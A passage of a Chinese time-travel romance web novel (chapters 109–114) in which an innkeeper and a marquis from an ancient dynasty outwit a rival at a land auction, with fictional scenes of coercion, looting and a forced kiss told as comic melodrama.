《客栈通古今:假千金靠倒卖物资暴富》 第109章 睡在绵绵房里 裴望之。 一开始看到这个名字,秦绵绵还觉得蛮好听的。 但是后来看到这个炮灰下场蛮惨,也就忘了这件事了。 这会儿对面的人忽然说出这句话来,她忍不住又愣在原地。 “所以,这上面说的,是你?” 裴应见又将那史料故事看了一遍,才缓声道:“细节可能有出入,但大体应当对得上。” 所以……他这次回到京城,会感染上时疫,然后医治无效而死? 秦绵绵的脸色一寸一寸冷了下来。 “你已经回到京城了。” 裴应见点点头。 见她面色难看,他忽然伸出手,在她紧皱的眉心抚了抚。 “放心,我是不会感染时疫而死的。” 秦绵绵却不理。 历史上的事情难道还能作假吗。 就算他不是真的感染时疫,也总归是被人所害,总之结局很惨就是了。 见他仍旧一副云淡风轻的样子,秦绵绵有点急了。 他要是真挂了,那她还从哪去搞古董,还怎么发财呢? “严肃点,这是要命的事!” 裴应见却依旧淡然:“要也不会要我的命,你信我。” 秦绵绵盯着他看了半晌,最后还是败下阵来。 这人从一开始就自信的很,他既然这么说,那她也只能相信他了。 想了想,秦绵绵又问道: “那么这次回京,发生什么特别的事情了么?” 裴应见心中立刻想到了关于那个被他中途救下的女子的事。 那个叫月娘的女子。 但他张了张嘴,却还是把关于这女子的事情隐了过去。 只向秦绵绵道:“郎松一家感染了时疫,此事被告上了金銮殿。” 秦绵绵立时双眼微睁:“真的有人得了时疫?” 裴应见一笑:“整个京城,只有郎松一家得时疫。” 秦绵绵一颗心玲珑七窍,立刻就明白了。 “这是你的手笔?” 裴应见并不否认。 郎松是谁,之前在燕州剿匪的时候,裴应见已经都跟秦绵绵说过了。 他这次回京必然会向郎松报复的,这个她也早就知道。 “但如果整个京城只有郎松一家染病,皇帝也会怀疑的吧。” 裴应见又笑笑:“但此时此刻,皇帝应该只想追究郎松隐瞒不报的事。” 秦绵绵点点头。 这里面的弯弯绕绕裴应见这个大侯爷肯定比自己精通的多,他既然下了这一步棋,那就一定早有应对之法了。 这样一来,对于历史上关于他感染时疫暴亡的事,她也没那么担忧了。 说不定经过这些事之后,历史也会改写呢? “那么你呢?之前你不是说,回了京城,就没有太多时间过来了么?” 裴应见往后一仰,靠在了椅背上。 “我么,因为连日奔波,也病倒了,如今只在府中养病,并不见客。而且这病,也得养好些时候呢。” “你倒刁钻。就不怕皇帝来查你是不是也得了时疫?” 秦绵绵却不知道,其实皇帝早已秘密派人查过了。 整个京城,其实到处都布满了皇帝的眼线,侯府也不例外,这也是之前裴应见说回京之后就不能常来了的原因。 不过眼线这种东西,也可以反过来利用,利用的好了,也会有很不错的效果。 但这些就很复杂了,他并不打算今天在这里详细跟她说。 他微笑着望了望她,突然把椅子拉的离她近了一些。 “所以本侯闲来无事,就来找你聊聊天,顺便看看你这二楼改造的怎么样了。听他们说,前段时间你还跑去剧组断案了?” 秦绵绵重要的事已经说完了,老实说,不太想跟他聊这些闲事,但是裴应见却一副非要缠着她的架势,最后无奈,她只能老老实实从头招来。 …… 第二天,本该早早出发去应对盛源地产的秦绵绵却起晚了。 从二楼下来,大家伙都发现她的精神似乎不是很好。 “掌柜的好像昨晚没睡好?”姚祁先凑上来。 结果话还没说完,就见裴应见接着也从二楼下来了。 姚祁的脸色眼见的就黑了下去。 “裴先生待遇就是不一样啊,不住员工房,却占一间客房。” 谁知裴应见却笑着回应:“没有啊,昨晚跟绵绵聊天聊的太晚,直接就在她房间睡了,我可没占客房。” 裴应见一边说着,一边从楼梯走下来。 走到姚祁面前。 他的身量要比姚祁高,高大概半个头的样子。 两人面对面站在一起,裴应见颇有些压迫感。 “姚先生的脸色好像有点不对劲。怎么,你好像对我跟绵绵睡在一个房间里,很有意见?” 裴应见的声音不大,但整个大堂都能听见。 众人都是一顿。 接着便纷纷眼观鼻鼻观心,假装并没有看见他们的剑拔弩张,但人人却都停下了手里的活,竖起了耳朵。 就连几个在吃早餐的客人也都停下了喝粥的手。 大堂里的气氛一时颇有些凝重。 姚祁暗暗咬了咬牙,抬头,对上裴应见的眼睛: “有意见又怎么样?裴先生又不是我的老板,还管得着我有没有意见?” “那倒也是,我确实管不着。”裴应见笑笑,“但我睡在哪里,姚先生好像也管不着。” 说完,绕开他,径直往餐桌去吃早饭。 输了一筹的姚祁恨恨咬了咬牙,目光落在秦绵绵身上,又无端生出些委屈。 大家伙的目光,也都跟着姚祁看向了她。 秦绵绵只当看不见,也迅速溜去吃早饭。 看来接下来,她睡哪里,她房里有谁,自家这些员工们,似乎都想管一管了。 唉,老板难当啊。 吃过饭,秦绵绵就要出门,姚祁自告奋勇当了司机。 理由是昨天他就是秦绵绵的司机,而且和秦绵绵配合默契,不然也不会有打击了贾芊芊的事。 但裴应见却说什么也要跟去。 理由是:“你一个人不太管用。” 最后,两个人在剑拔弩张的气氛下,一起上了车,一块陪秦绵绵去了市里。 这次,她终于顺利见到了盛源地产的负责人。 也如同意料之中一样,对方态度十分高傲强硬,什么都没说,直接就甩出了一份制式合同。 秦绵绵随意翻了翻,就发现这合同里面很多条款,跟之前一开始接洽时的完全不一样。 “这合同里还满地是坑,这是明摆着拿我们当猴耍呢。”姚祁也悄声道。 第110章 还带着家眷 见秦绵绵这边似乎已经看出了合同里的猫腻,对方干脆也就不装了,直接往椅子后面一仰: “据我所知,秦总已经接洽了很多地产商了,却没一个谈成的。不是我夸口,现在能跟秦总做成这个生意的,全国上下,恐怕也就只有我们一家了!” 言外之意,今天这个合同就是有再多的坑,秦绵绵也得闭着眼睛往下跳。 谁让她找不到地产商来合作呢? 她别无选择。 对方负责人冷眼看着秦绵绵三人脸黑的样子,笑了起来,越笑越嚣张。 姚祁可受不了这个气,直接说:“掌柜的,咱们走,不签了!还给他们脸了!” 那负责人却突然大笑起来: “秦总,我劝你一句,今天你要是出了我们这个门,明天你就再也联系不上任何一个地产了!我就敢吹这个大话——一个也没有!” 秦绵绵抬眼,瞧了他一眼,也笑了:“我相信您有这个实力。” 当然了,盛源地产肯定没有这个实力的,有这个实力的是贾芊芊。 贾芊芊此人睚眦必报,秦绵绵这个项目一直磕磕绊绊,全都是她在背后使绊子,包括眼前的这个盛源地产,这么嚣张,这么坑人,也是贾芊芊在背后唆使的无疑。 对方一听这话,顿时更牛了,眼珠子简直要翻到天上去。 然而,下一秒,秦绵绵的另外一句话,却一下子又给他从天上打翻下来,按在地上摩擦。 她说:“但是您似乎并不了解我们的实力。” 话音未落,秦绵绵突然抬手,直接把合同扔在了对面负责人的脸上。 还没等他吃痛叫出声,一旁的裴应见径直越过桌子,跳到他身边,一伸手就卸掉了他的下巴。 “嗷!!!” 剧烈的疼痛让这负责人一下子就从椅子上滚落在地,他双手捧着自己的下颌,痛的满地打滚。 他想呼叫,却根本说不出话来,只能发出一些野狗一般的嘶吼声。 因为觉得今天会对秦绵绵彻底拿捏,所以盛源地产的负责人十分狂妄,一个人就来了,甚至都没带个助理。 而此时此刻,他才意识到,自己今天很有可能要栽在这里! 他万万没想到,秦绵绵身边的这个长头发的小子,竟然是个高手! 他竟然一只手,就捏掉了他的下巴! 痛! 痛啊! 不知道打滚了多久,盛源地产的负责人才稍微有点适应了这疼痛,终于能睁开眼来。 但剧烈的疼痛还是让他眼冒金星,完全看不清东西。 裴应见伸手把他重新拎回椅子:“我问,你答。答错一句,今天走不出这个大门,懂?” 负责人拼了老命地点头。 “是谁指使你们盛源地产这样出尔反尔的?” 负责人张嘴想说,可说不出来啊。 急的直呜呜叫。 裴应见这才后知后觉地给他又把下巴合上了。 顺便给姚祁使了个眼色。 姚祁非常默契地掏出了他的摄像机,对准了负责人红肿的脸。 本来想立刻高声呼救的负责人一下子就哑了火。 挖坑给合作方跳,没办成却让对方给打了,这样的视频要是流出去,那盛源也不用在业界混了。 而且,他也可以十分肯定,只要他试图发出任何求救信号,他旁边的这个长头发怪男人都会第一时间再次卸掉他的下巴。 或许会连他的手和脚一起卸掉也不一定! 负责人像是霜打了的鹌鹑一样,在椅子上缩了片刻,才懊恼地开口: “是,是贾家……贾家我们可惹不起啊……” 在裴应见驾轻就熟的审问之下,负责人很快把背后的事情和盘托出。 又在裴应见的威逼利诱之下,负责人被迫同意做双面间谍,跟秦绵绵合作,向贾芊芊提供假情报。 临走,秦绵绵还把顺道把合同签了,只不过先让姚祁在上面做了点手脚,真追究起来,这合同是没有法律效力的。 负责人吴启哭丧着脸:“秦小姐,我错了,这合同咱们能不能不签……要是真出点什么事,我们还得陪违约金,被股东们知道了,我可要吃不了兜着走的……” 秦绵绵拍拍他的肩膀:“放心,我跟你不一样,我从不坑合作伙伴,不会真的让你们赔违约金的。再说,来之前我们也调查清楚了,你不就是其中一个股东吗,而且还是大股东。” 姚祁也拍拍他的肩:“签了才能演得像嘛,回去可别说漏嘴哦,我这有视频。” 裴应见最后也拍拍他的肩,并贴心地扔给他一瓶药膏:“抹抹,消肿了再回去。” 吴启:…… …… 回到客栈,陈启明那边传来了好消息,十九副头面分别会在全国各地上拍,最多三天,拍卖所得的款项就会打到秦绵绵这边。 坏消息是,卖了这些头面,加上臭豆腐的投资款,还是差一些。 做跟政府合作的地产商,资质非常重要,而想拥有资质,现金流肯定是少不了的。 裴应见却让她不要担心,当晚就又回大雍去了。 三天之后,他再次出现,还带来了几个大箱子。 “这是……” “抄了几个家。” 秦绵绵:?? 裴应见悠然一笑:“抄了三个贪腐官员的家,顺便拿了点东西。快看看啊,有喜欢的就留下,剩下的都拿去拍卖!” 秦绵绵在心里直呼好家伙。 这满满几大箱子,别说搞一个地产公司了,再搞点别的烧钱的也够了。 接下来就是秦大掌柜开箱时刻。 裴应见心思玲珑,拿来的都是在现代能卖的上价,又不会给秦绵绵带来麻烦的东西。 秦绵绵越看越是爱不释手。 裴应见也笑盈盈地陪着她一起开箱,等她满意了给自己一句夸奖。 然而,打开最后一个箱子的时候,却遇到了点麻烦。 锁头打开,箱子盖却怎么也掀不起来。 秦绵绵回头去看裴应见。 裴应见上前,一把用力掀开了盖子,那箱子被大力拽倒,里面却没有太多珍奇古玩,反而咕噜噜地滚出了一个大活人! 还是个女孩子! 女孩子穿着一袭大户人家丫鬟服色,滚倒在地纳头便拜: “侯爷息怒!侯爷饶命!奴婢不是故意藏在这里的!” 抬起头来,却是个十四五岁,俏生生肉嘟嘟的小丫头。 秦绵绵乐了,转头看向裴应见:“侯爷好兴致啊,来我这里,竟还带着家眷?” 第111章 全是野史 裴应见的脸色简直比锅底还要黑。 他明明装的是些古玩字画金银之类,什么时候装进去一个大活人了? 但现在也不是解释这个的时候,因为秦绵绵的脸色也肉眼可见地冷了。 不等裴应见开口,秦绵绵就忽然拿起桌上的手机,给姚祁拨去了电话: “给咱们裴先生开一间上房!” 电话那边姚祁一愣,立时高声:“得令!” 十秒钟之后,秦绵绵的房间门口,就围满了看热闹的群众。 姚祁带着罗小胖带着瓜子,叶子舟带着叶子雯,朱七妹带着朱小宝还带着姜芙,外加一个想换换口味吃碗盖饭的赵立生。 众人都伸长脖子往里看。 姚祁笑的猥琐: “裴先生上班还带着女朋友呐?不过话说回来,裴先生口味真挺特别的,小姑娘看着好像还未成年呢。” 罗小胖帮腔:“你懂什么,古人都好这一口。” 姚祁看着满地宝物:“怎么,这不会是捉奸现场吧?” 姜芙看热闹也不嫌事大:“我告诉你啊,休想欺负我们绵绵!渣男滚粗!” 裴应见白着脸,瞪了一旁早已懵逼的小丫头一眼,然后默默收拾好了满地金银,放回箱子,最后重重一把盖上盖子。 秦绵绵眉角微挑:“裴先生是有什么话说吗?” 裴应见恨恨一咬牙:“……上房,要两间!” 终于驱散了围观的人,回到房间,关了门,裴应见才有时间腾出手来审问这小丫头。 小丫头看到周围这完全没有见过的人和景象,早就吓傻了,一番逼问之下,才说出原委。 原来她是裴应见所抄的三个贪官其中之一家的一个洒扫小丫鬟,因为害怕,所以躲进了箱子里,结果阴差阳错被抬到了裴应见府上,还被带到了现代。 “……你可害惨本侯了。” 小丫鬟不明所以:“侯爷,是不是夫人误会什么了?奴婢可以去跟夫人解释!” 虽然嘴上这么说,但小丫鬟依然在心里打鼓——京城盛传这位小侯爷不喜女色来着啊,因此才岁数大了也没有夫人。 但刚才那个女子,侯爷对她绝对不一般,瞎子也能看出来。 “解释什么,越解释越……你叫她什么?” “夫人呐。” “本侯还未娶夫人呢。” 小丫鬟嘿嘿一笑:“侯爷英明神武,早晚会娶到佳人的!” 裴应见这才微微露出一丝笑意:“好,说得好,当赏!” 说着,却一把扯住小丫鬟的手臂。 小丫鬟一惊,还没出声,便觉一阵天旋地转,再一睁眼,咦,这不是侯府的库房吗? 小丫鬟惊的都说不出话来了。 裴应见也不给她胡思乱想的机会,直接一个手刀劈在了她的脖颈后面。 小丫鬟迅速晕了过去,裴应见开门,招呼青川:“去请神医。” 半个时辰后,侯府书房。 房门紧闭,屋内幽香袅袅,小丫鬟躺在榻上,仍旧昏迷不醒,裴应见在屋内来回踱步。 不多时,本来靠墙而立的厚重书架忽然咔啦啦响了起来,接着书架突然无故挪开两尺,一个石门漏了出来。 一名白衣男子坐在轮椅上,缓慢从石门进了房间。 男子长的十分好看,一双眼睛清澈干净,却没什么神采。 脸色苍白,身形消瘦,似身有恶疾。 还没说话,先咳嗽了一通。 裴应见皱眉:“你这心疾,似乎越发严重了。眼睛是不是也更看不清楚了?” 云承月淡然一笑:“天生之疾,又治不好,拖时辰而已。” 裴应见摇头:“不一定。” 云承月并不接话,反而问道:“匆忙把我叫来,究竟何事?” 裴应见朝榻上的小丫鬟努努嘴,把事情说了。 云承月确实已经看不大清楚,只能勉强看见榻上是躺着一个人。 但他沉静似水的脸上还起了波动:“你是说,你可以带别的人,进入那客栈了?” “不错。不过我需要你配点药给她。” 云承月立刻懂了。 裴应见可以跨越古今到达现代的事情是机密,只有他最心腹信任的几个人知道。 这小丫鬟是误打误撞被带过去的,到底是一条人命,裴应见不忍杀她,因此需要云承月来操作一下。 弄点药物,让小丫鬟忘却这些事。 这倒是云承月的拿手好戏,计算了小丫鬟的身高体重之后,云承月很快弄好了药。 裴应见给她吃下,让青川把她带走。 青川询问怎么处理,裴应见想了想,决定让小丫鬟留下,跟齐月娘做个伴。 在齐月娘之前,侯府根本没有年轻的女性,只有一些老嬷嬷罢了。 “咱们这侯府,也是越来越活色生香了啊。”人走之后,云承月揶揄出声。 裴应见不理他。 云承月推着轮椅,凭着模糊的影子,走到裴应见跟前,歪头看他: “怎么,大侯爷这是在秦姑娘那吃瘪了,所以很不高兴?唉,要我说人家说的也没错,去就去吧,还往箱子里藏个女子,我若是那秦姑娘,只怕转头就去嫁人,让你彻底绝了这念想!” 裴应见立时恨恨道:“我看你眼睛不该坏,该坏的是这张嘴!再说,她已经收了我的玉佩了!” “哦……对哦,收了玉佩,就是不肯给你名分呢……” 裴应见气的扬拳头,云承月大笑着往后退。 但下一瞬,两个人就不笑了,转而说起了外面的形势。 “圣上查郎松,可查出了不少有意思的东西呢。” 裴应见冷笑:“慢慢查,不着急。总要查的差不多了,人才能死,不然多可惜。” …… 客栈这边。 到了饭点,罗小胖打电话叫秦绵绵下来吃饭,秦绵绵却在聚精会神地看一叠资料。 资料是陈启明传给她的,前段时间看完那剧本之后,她就拜托了陈启明去寻访一些历史学家,想查一查关于这个“裴望之”的历史。 野史也行。 今天消息传回来了。 好消息,历史不少。 坏消息,全是野史。 像什么裴侯爷不喜女色而好男风,侯府里圈养者108个绝色美男,侯爷每月要吃京郊一半以上的驴肉滋补壮阳之类…… 秦绵绵一个脑袋两个大,看了半天,才好不容易从众多野史里面找到一点点有用的东西。 “感染时疫,跟郎松有关?可是他不是说,现在是郎松一家染上了时疫么?” 秦绵绵连忙起身去隔壁敲裴应见的门,可是两个房间都没有人。 “这家伙,又一声不吭地走了!” 第112章 地块拍卖会 饭桌上,朱七妹和叶子雯用手语一起嘀嘀咕咕。 【掌柜的好像很不开心。】 【裴先生带了别的女人来,她能开心就怪了。】 【既然这么在乎裴先生,为什么不说清楚呢。】 【这你就不知道了吧,暧昧时期才是最甜蜜的。】 朱七妹确实不懂,她只知道,掌柜的不论遇到什么样的困难,都没不开心过。 但却因为裴先生不开心好几次了。 男人啊,就是累赘。 最奇怪的是,裴先生每次来是突然来,走也是突然走。 他好像并不打算在客栈长住,而且掌柜的也从来没有主动去找过他。 怪,真怪。 【神出鬼没的男人,不能要。】朱七妹最后下了结论。 秦绵绵离的不远,把她们这点小嘀咕全都看在眼里,却什么都没说。 因为今天会有一个重要客人到来。 出于对叶子舟的信任,跟“臭豆腐”付英的接洽,全部都由叶子舟代劳。 公司已经注册好了,各种资质也在付英的操作下办的差不多了,付英也终于有时间来客栈跟秦绵绵见个面。 三天后就是政府的拍卖会,付英已经申请竞拍,这么大的事情,公司的两个合伙人总要见见面吧。 中午,姚祁和叶子舟一起把付英接了过来。 小伙子长的浓眉大眼,膀大腰圆,十分典型的北方汉子。 但略微的有点腼腆,尤其是在面对秦绵绵这样的女孩子的时候。 但秦绵绵在这种时候就非常健谈,两人沟通没多久,就相谈甚欢了。 姜芙领着叶子雯和朱七妹趴在柜台后面看:“这小伙子真不错,要是能留在客栈多好,把你俩哪个介绍给他都是赚的……” 说着话,赵立生来了,又是想吃盖饭。 谁料付英突然站起来,惊讶道:“三舅?!原来你搁这景区干呐?哎呀!” 姜芙乐了:“好了,这回肯定跑不了了!” 众人花了半天时间才消化了赵立生是付英三舅的事实。 罗小胖说:“早知道有这层关系,早就挖付英了!” 付英也叶子舟却没说什么。 秦绵绵但笑不语。 也许有一种可能,即便是有这层关系,付英也不一定会愿意跟她合作。 他突然肯辞职来创业,背后肯定还有很深层的原因。 秦绵绵瞟了瞟姚祁。 姚祁正在跟姜芙蛐蛐客栈的各色人等全都是裙带关系。 姜芙瞪大眼睛:“怎么,你不服啊,那你走啊!” 姚祁:“我走?三天后的拍卖会还非我不可呢!” …… 三天后,秦绵绵准时去参加了政府地块的拍卖会。 确实带了姚祁。 到了会场,远远地就看见盛源地产的负责人吴启已经到了,正在打电话。 秦绵绵都不用去听,从他那谄媚而纠结的笑容就能看的出来,电话对面是谁。 “贾小姐,您放心,您放心,保证完成任务!” 挂了电话,吴启狠狠抹了把汗。 贾家不好惹,可姓秦的也不是好惹的主儿,今天这事,不管怎么办,他总是要倒霉的。 转眼看见了秦绵绵,他顿时吓的一个机灵,连忙朝她跑过来。 姚祁伸手推了他一把:“淡定点,让人看见,还以为我们怎么欺负你呢!” 吴启只觉越发头大,连忙引着秦绵绵落座了。 在外人眼中,他们是合作开发的合作商,亲密一些也没什么关系。 秦绵绵就淡定地听着吴启的介绍,这会场中的人都是来自哪些公司的,还有哪些大佬没来,只派了代表或者直接电话指挥竞拍的。 不得不说,盛源地产还是有两把刷子的,吴启对于这些信息,掌握的算是十分透彻。 讲了一圈儿,秦绵绵看向角落里一个不太起眼的黑衣男子,吴启猛地咳嗽一声,压低声音:“他就是贾家派来的。” 秦绵绵心领神会,低头看了一眼手机。 手机上是盛意给她发来的关于会场中人的信息,倒是跟吴启讲的分毫不差。 看来这家伙倒是没有蒙她,就是不知道接下来的表现会怎么样了。 “吴总,待会儿按计划行事啊。” 吴启急忙点点头:“那当然,一定按秦小姐说的做!” 秦绵绵微笑,转头去看别的地方,吴启却急忙擦擦汗。 姚祁冷笑瞥他一眼——这老小子的伤倒好的挺快的,那个姓裴的的药膏还真管用。 在秦绵绵看不见的地方,他也快速在手机上打了一些字,最后露出一个等待好戏开场的笑容。 不多时,主持人走上台来,提示拍卖会即将开始。 但就在这个时候,秦绵绵的手机突然震动了起来,是个陌生号码。 她接起来,那边竟又是那个机械的声音: “我要是你,现在就会离开会场,免得一会儿丢人。” 秦绵绵冷冷回怼:“一会儿竞拍你也用变声器吗?” 那边似乎一噎:“你等着吧,你想要的那块地,绝对不会拿到手的!” 秦绵绵:“我想要的东西,还从来没有得不到的……不好意思,抢你台词了,抱歉啊,贾小姐。” 说完,不等那边反应,就迅速挂掉了电话。 姚祁冲她伸出一个大拇指。 然而,接下来的竞拍,却也如贾芊芊说的一般,确实十分困难。 秦绵绵所看中的地块是第二个拍卖的,第一个拍卖的地块比她看的这块地位置好,还大,最后拍下来的价格倒也很合理,整个拍卖过程都十分顺畅。 而到了她看上的这第二块地开拍的时候,没几轮,价格就直接飚了上去。 那个坐在角落里看起来很不起眼的黑衣年轻人叫起价来是真狠啊。 姚祁都被唬的一愣一愣的。 吴启更是一度不敢接茬。 但姚祁到底是富三代心性,一点儿受不了气,立时从吴启手里夺过牌子,就开始跟那个黑衣人较劲。 不管他出多少,姚祁总是立刻喊价,而也总是比他稍微多那么一点点。 黑衣人的脸色很快就有点不太自然了。 地块的价格也被拍到了有点离谱的程度,大部分人都停止了叫价,转而纷纷回头,看看这两个飚价格的到底是哪来的神经病。 姚祁却不理,仍然继续叫价,硬是压黑衣人一头,而黑衣人却顿了顿,似乎打了一个电话,接着突然举牌,叫了一个特别离谱的价格。 叫完之后,还特意回过头来,挑衅地望向秦绵绵。 这眼神,她再熟悉不过了,跟贾芊芊简直如出一辙。 秦绵绵却微微跟姚祁和吴启使了个眼色:“就是现在。” 第113章 我好羡慕你贾小姐 主持人在台上高声报价,一次,两次,而本来一直在跟黑衣人叫价的姚祁却突然没有了动静。 黑衣人敏锐地朝这边看了过来。 姚祁却露出一个微笑,模样十分地挑衅。 黑衣人立刻明白过来上当了。 他冷峻的脸上浮现一丝怒色,却并不惊慌,反而歪歪头,朝吴启使了个眼色。 姚祁顿时暗道不好,下一秒却冷不防被吴启一把抢走了牌子! 姚祁:!! 这老小子,要反水! 早知道这样,那天见面的时候直接给他干趴下就对了! 他想抢回牌子,却来不及了。 也就一秒钟的时间,吴启的牌子就举了起来—— 糟糕! 这会儿的价格早已溢价溢的离谱,本来是给贾芊芊挖的坑,随着吴启这一反水,就要落在他们自己头上了! 姚祁着急不已,跳起来就要扑上去。 谁知坐在那边的秦绵绵却比他动作更快,只见她眼睛甚至连看都没往这边看,就好像身侧长了眼睛一样,直接飞起一脚,“砰”的一声就给吴启踹倒了。 与此同时伸手一捞,把牌子捞回了自己怀里,然后坐回椅子上,继续老神在在。 整个过程比吴启夺牌举牌还要快,快的姚祁都以为自己是花眼了。 等他反应过来的时候,事情都已经搞定了。 而躺在地上的吴启,甚至都还没明白过来发生了什么。 台上的主持人以手势询问这边的情况,秦绵绵随意打了个手势,表示这边有人突发疾病,请求救护,让主持人继续。 主持人心领神会,直接落下了锤子。 就这样,那块地以高价,被贾芊芊指使的那个黑衣人拍了去。 而救护团队也迅速赶了过来,把还躺在地上不知所措的吴启抬走了。 终于意识到发生了什么的吴启大声哀嚎:“秦小姐!秦小姐!我也是不得已啊秦小姐……” 秦绵绵好似没听见一般,只拿出手机,好像在等待着什么。 不多时,果然又有一个电话打了进来,接起来还是那个机械音。 “姓秦的,你别以为……” 秦绵绵打断她的话:“我好羡慕你啊,贾小姐。” 对面果然又是一愣。 “有钱就是好,标价十万的东西,你就偏偏要出一百万,不让出都要跟人急。” 那边嗷一下子就急了:“秦绵绵!你别以为略施手段,哄我花了高价买地就赢了我了!这块地现在归我了,你想在景区附近盖房子,永远也别想了!!” 有一说一,刚才拍卖的时候,叫价的人还真不少,能最终哄到黑衣人栽进坑里,除了秦绵绵,其他人也功不可没。 但这些人到底是从哪里来的,电话那头的贾芊芊确实有点想不通,事情一出,她就立刻找人去查了,结果发现叫价的这些人,都是实打实的其他地产企业。 可是,景区附近的这块地实在不是什么肥肉,甚至放了一两年了一直流拍,怎么今年突然就被好多人看上了呢? 要说这件事是秦绵绵搞的鬼,她也不相信,她觉得以秦绵绵的实力,还调动不了这么多家企业陪她演戏。 贾芊芊想不明白,但这并不妨碍她生气。 一生气,就忍住又给秦绵绵打电话,但是打了电话却更生气了。 因为秦绵绵接下来突然说道: “不怕实话告诉贾小姐,我看上的,从来都不是你拍的这块地。” 贾芊芊愣了。 就在这个当口,她听到电话那头再次传来主持人落锤的声音。 第三个地块拍出去了,因为比较小,又比较偏僻,出价的人极少,成交价非常低。 贾芊芊急忙翻看拍卖手册,发现这个地块竟然就在她刚刚拍下的第二个地块的旁边。 而拍下这个地块的公司名字叫——吉祥地产。 电光火石之间,一股不好的感觉涌上贾芊芊的心头。 果然,接着,就听到电话那头的秦绵绵轻声一笑:“好教贾小姐知道,我们呢,早就看出来盛源地产不靠谱了,所以我们干脆自己注册了一个公司,刚才那块地,就是我们自己公司拍下来的哦。” 贾芊芊气的直咬牙:“拍下来又怎么样,一块破地,能跟我这……” 电话那头,秦绵绵直接笑开了:“对了,忘了告诉贾小姐我不要你那块地的原因了……因为我们刚刚知道,那块地啊,下面有水,不能盖房子……” 说完,秦绵绵挂了电话。 贾芊芊在这边愣了两秒,气的直接摔了手机。 …… 晚上,客栈关了大门,好好搞了一场庆功宴。 席间姚祁邀功,一定要秦绵绵承认自己今天是头功,秦绵绵揶揄他: “要不是我眼疾手快,吴启就叫价了。” 姜芙接口:“说吴启呢,今天下午盛源地产的股价大跌,知道吗?” 罗小胖嚼着东西:“他给贾芊芊事情办砸了,还墙头草两边倒,贾芊芊不能对付咱们,可不就得迁怒他嘛!” 付英兴奋道:“太好了!盛源要是真出了幺蛾子,那咱必须趁机收购他们啊!掌柜的放心,这事儿啊,包我身上了!” 叶子雯谨慎道:“咱们有那么多资金吗,还是先把这几个项目搞起来比较稳妥吧。” 秦绵绵想到楼上的几大箱子东西,微笑道:“放心搞,资金有的是。” 众人欢呼起来。 今天这场算是大获全胜,秦绵绵喝了些酒,多少有点醉。 趁着还没完全迷糊,她丢下正在兴头上的众人,自己一个人摇摇晃晃地往二楼房间走。 谁知刚一推开门,就直接落进了一个宽大的怀抱里。 “醉了?” 男人声音低沉沙哑,似乎带着很多委屈和不甘心,而且也跟她一样,带着一丝酒意。 秦绵绵抬眼一看,裴应见五官分明的脸近在咫尺,他双颊微红,眼神丝丝迷离,显然也是喝了酒的。 秦绵绵嫌弃地皱皱眉,一把推开他:“还知道回来啊。这又是从哪个女人那喝了花酒回来的……” 裴应见却根本不撒手,一用力就又拥住了她: “绵绵,你是在吃醋么……” 他低垂下头来,径直抵住她的额头。 高大的身躯压下来,阴影直接将秦绵绵包裹在里面。 略微粗重的呼吸近在咫尺,除了酒气,还夹杂着他平日身上那种独特的凛冽之气,秦绵绵闻住,一时就被晃的有些心乱。 第114章 你这个渣女 男人的身影越欺越近,眼看就要贴上……下一秒,秦绵绵却一把推开了他。 裴应见被推的一愣。 秦绵绵勾勾唇角:“侯爷莫不是吃醉酒了,说起胡话来,我跟侯爷不过是合作的关系,怎么就犯得着吃醋呢?我吃哪门子醋?” 裴应见被说的脸色一暗,不由分说又一把拥住她: “绵绵,我不知你到底在想什么,但我可以坦诚相告,我裴应见身边绝没有任何一个女子。没有娶妻,没有纳妾,没有通房,甚至没有女婢!若有半句虚假,我……” 秦绵绵却突然打断他:“真的?堂堂大侯爷,身边连个女婢都没有?那那天的小丫鬟,你回去之后,直接把她送走了?” 裴应见眸中立时闪过一丝心虚。 秦绵绵太擅长察言观色,立刻察觉到了他的微妙变化。 她蓦地一蹙眉,一把将他推开一米外:“什么都别说了,你给我出去!” 裴应见高大的身躯被猛地推了个趔趄,宽挺的脊背一下撞在房门上。 “今天不妨把话说明白了,侯爷身边有没有女子,其实我并不在意。毕竟我也不是侯爷的什么人,侯爷您请便吧,下次再来别说带家眷了,您就是把整个侯府都搬来,我也没意见。” 裴应见呼吸一窒,一瞬间,竟然好像想不出反驳的话来。 下一秒,他的脸颊却忽然浮起一团红意,只见他眸色一暗,突然欺身上前,猛地捧住秦绵绵的脸,向下深深地吻了上去! “唔……唔……” 秦绵绵奋力挣扎。 裴应见却好像全然忽视她的抗拒,她越是挣扎,他就越是吻的用力。 直到秦绵绵感觉自己马上要窒息! 秦绵绵瞪大双眼,只见到男人紧促的眉头和略带恼怒的双眼,那眼神中除了那一丝醉酒的迷离之外,更多的是委屈。 他在委屈…… 秦绵绵猛然感觉心里好像有点异样。 但下一秒,她还是立时清醒过来。 瞪着眼前好看的眉眼,双手却在下面握掌化拳,用力朝男人的胸膛砸去。 砰! 裴应见结结实实挨了两拳。 这两拳面前这个女人难不成是用了十成十的力?痛的他一瞬间简直无法呼吸! 裴应见顿时抽离,蹬蹬往后推了几步,靠在门上站定。 男人脸色阴沉又憋闷,瞬也不瞬地瞪着眼前的女人。 而对面,秦绵绵脱离了他的掌控,一双脸颊却蓦地腾起一片红晕。 她用力抹了嘴唇一把,恨声道:“……登徒子!” 裴应见张了张嘴:“……登徒子?你,你竟说本侯是登徒子?!” 他仿佛忍无可忍,终于爆发,拔高声音吼起来:“秦绵绵!!” 对面的秦绵绵被吼的一愣。 相处这么久以来,大侯爷一直十分有风度,他好像还从未这么……失态过。 可她今天的情绪也很不好,愣了一瞬,干脆破罐破摔,也不打算给他好脸色了:“吼什么吼!你声音大就了不起么!你,你好几次这么对我,不是登徒子是什么!” 说着,还用手捂上自己的嘴巴,意在提醒裴应见,今天这样的事情,不是第一次了。 可对面男人的脸色,竟然一下子更委屈了。 他张了张嘴,半晌,才下定决心似的,咬牙道: “你又好到哪里去?你我见面的第一晚,你就把我整个人都看光了!本侯早在那时就失了清白!你还收了我的家传玉佩,你可知那玉佩有何寓意?” “可是你呢!客栈这么多人看着,你,你竟然连个名分都不肯给我!你……你这个渣女!!” 裴应见瞪圆了一双眼睛,恨恨说完,转身开门就走。 秦绵绵却被吼的好似钉在原地一般。 震惊了好半天,她才回过神来。 他们刚才,都做了些什么,说了些什么啊…… 她,秦绵绵,渣女? 秦绵绵愣怔半晌,才回过神来,猛地深吸一口气,抬脚往外追去。 楼下,客栈众人还吃的正欢。 谁也没想到,酒酣耳热气氛正热烈的时候,二楼突然蹬蹬蹬跑下一个人来。 众人拿筷子的手都僵在原地。 